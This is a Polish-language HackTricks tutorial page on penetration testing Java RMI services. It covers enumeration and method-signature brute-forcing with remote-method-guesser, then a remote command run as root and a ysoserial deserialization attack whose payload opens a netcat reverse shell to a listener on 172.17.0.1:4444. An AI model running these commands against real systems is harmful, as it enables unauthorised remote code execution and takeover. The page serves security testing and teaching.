hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md
2024-02-11 01:46:25 +00:00

19 KiB

1098/1099/1050 - Testowanie penetracyjne Java RMI - RMI-IIOP

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Podstawowe informacje

Java Remote Method Invocation, czyli Java RMI, to obiektowy mechanizm RPC, który umożliwia obiektowi znajdującemu się w jednej maszynie wirtualnej Java wywoływanie metod na obiekcie znajdującym się w innej maszynie wirtualnej Java. Pozwala to programistom pisać rozproszone aplikacje, korzystając z paradygmatu obiektowego. Krótkie wprowadzenie do Java RMI z perspektywy ofensywnej można znaleźć w tym wystąpieniu na konferencji blackhat.

Domyślny port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Zazwyczaj tylko domyślne komponenty Java RMI (rejestr RMI i system aktywacji) są powiązane z powszechnymi portami. Obiekty zdalne, które implementują rzeczywistą aplikację RMI, zazwyczaj są powiązane z losowymi portami, jak pokazano powyżej.

nmap czasami ma problemy z identyfikacją usług RMI zabezpieczonych protokołem SSL. Jeśli napotkasz nieznane usługi SSL na powszechnym porcie RMI, powinieneś przeprowadzić dalsze badania.

Komponenty RMI

W prostych słowach, Java RMI pozwala deweloperowi udostępnić obiekt Java w sieci. Otwiera to port TCP, na którym klienci mogą się połączyć i wywoływać metody na odpowiadającym obiektu. Mimo że brzmi to prosto, Java RMI musi rozwiązać kilka wyzwań:

  1. Aby przekazać wywołanie metody za pomocą Java RMI, klienci muszą znać adres IP, port nasłuchiwania, zaimplementowaną klasę lub interfejs oraz ObjID docelowego obiektu ( ObjID to unikalny i losowy identyfikator tworzony, gdy obiekt jest udostępniany w sieci. Jest on wymagany, ponieważ Java RMI pozwala wielu obiektom nasłuchiwać na tym samym porcie TCP).
  2. Zdalni klienci mogą alokować zasoby na serwerze, wywołując metody na udostępnionym obiekcie. Maszyna wirtualna Java musi śledzić, które z tych zasobów są wciąż używane, a które mogą być poddane garbage collection.

Pierwsze wyzwanie jest rozwiązywane przez rejestr RMI, który jest w zasadzie usługą nazw dla Java RMI. Sam rejestr RMI jest również usługą RMI, ale zaimplementowany interfejs i ObjID są ustalone i znane wszystkim klientom RMI. Pozwala to klientom RMI korzystać z rejestru RMI, znając tylko odpowiadni port TCP.

Kiedy deweloperzy chcą udostępnić swoje obiekty Java w sieci, zazwyczaj powiązują je z rejestracją RMI. Rejestr przechowuje wszystkie informacje wymagane do połączenia z obiektem (adres IP, port nasłuchiwania, zaimplementowaną klasę lub interfejs oraz wartość ObjID) i udostępnia je pod czytelną dla człowieka nazwą (nazwa powiązana). Klienci, którzy chcą korzystać z usługi RMI, pytają rejestr RMI o odpowiadającą nazwę powiązaną, a rejestr zwraca wszystkie wymagane informacje do połączenia. Sytuacja jest więc podobna do zwykłej usługi DNS. Poniższy przykład przedstawia mały przykład:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Drugi z wyżej wymienionych problemów jest rozwiązany przez Rozproszony Garbage Collector (DGC). Jest to kolejna usługa RMI o znanym identyfikatorze ObjID i jest dostępna praktycznie na każdym punkcie końcowym RMI. Gdy klient RMI zaczyna korzystać z usługi RMI, wysyła informację do DGC, że odpowiadający obiekt zdalny jest używany. DGC może śledzić liczbę odwołań i jest w stanie usuwać nieużywane obiekty.

Wraz z przestarzałym Systemem Aktywacji, są to trzy domyślne komponenty Java RMI:

  1. Rejestr RMI (ObjID = 0)
  2. System Aktywacji (ObjID = 1)
  3. Rozproszony Garbage Collector (ObjID = 2)

Domyślne komponenty Java RMI są od dłuższego czasu znane jako wektory ataku i istnieje wiele podatności w przestarzałych wersjach Java. Z perspektywy atakującego, te domyślne komponenty są interesujące, ponieważ implementują znane klasy / interfejsy i łatwo jest z nimi współdziałać. Sytuacja ta jest inna dla niestandardowych usług RMI. Aby wywołać metodę na zdalnym obiekcie, musisz znać odpowiednią sygnaturę metody z góry. Bez znajomości istniejącej sygnatury metody nie ma możliwości komunikacji z usługą RMI.

Wyliczanie RMI

remote-method-guesser to skaner podatności Java RMI, który potrafi automatycznie identyfikować powszechne podatności RMI. Zawsze, gdy zidentyfikujesz punkt końcowy RMI, powinieneś go przetestować:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Wynik działania enumeracji jest bardziej szczegółowo wyjaśniony na stronach dokumentacji projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane podatności.

Wartości ObjID wyświetlane przez remote-method-guesser mogą być używane do określenia czasu pracy usługi. Może to pomóc w identyfikacji innych podatności:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing zdalnych metod

Nawet jeśli podczas wyliczania nie zidentyfikowano żadnych podatności, dostępne usługi RMI mogą nadal ujawniać niebezpieczne funkcje. Ponadto, mimo że komunikacja RMI z domyślnymi komponentami RMI jest chroniona przez filtry deserializacji, w przypadku niestandardowych usług RMI takie filtry zazwyczaj nie są stosowane. Znajomość poprawnych sygnatur metod w usługach RMI jest więc cenna.

Niestety, Java RMI nie obsługuje wyliczania metod na zdalnych obiektach. Niemniej jednak, możliwe jest bruteforce'owanie sygnatur metod za pomocą narzędzi takich jak remote-method-guesser lub rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Zidentyfikowane metody można wywołać w ten sposób:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Lub możesz przeprowadzić ataki deserializacji w ten sposób:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Więcej informacji można znaleźć w tych artykułach:

Oprócz zgadywania, warto również szukać w wyszukiwarkach lub na GitHubie interfejsu lub nawet implementacji napotkanej usługi RMI. Tu mogą być pomocne nazwa powiązana oraz nazwa zaimplementowanej klasy lub interfejsu.

Znane interfejsy

remote-method-guesser oznacza klasy lub interfejsy jako znane, jeśli są one wymienione w wewnętrznej bazie danych narzędzia dotyczącej znanych usług RMI. W tych przypadkach można użyć akcji known, aby uzyskać więcej informacji na temat odpowiadającej usługi RMI.

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Narzędzia

Referencje

Automatyczne polecenia HackTricks

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: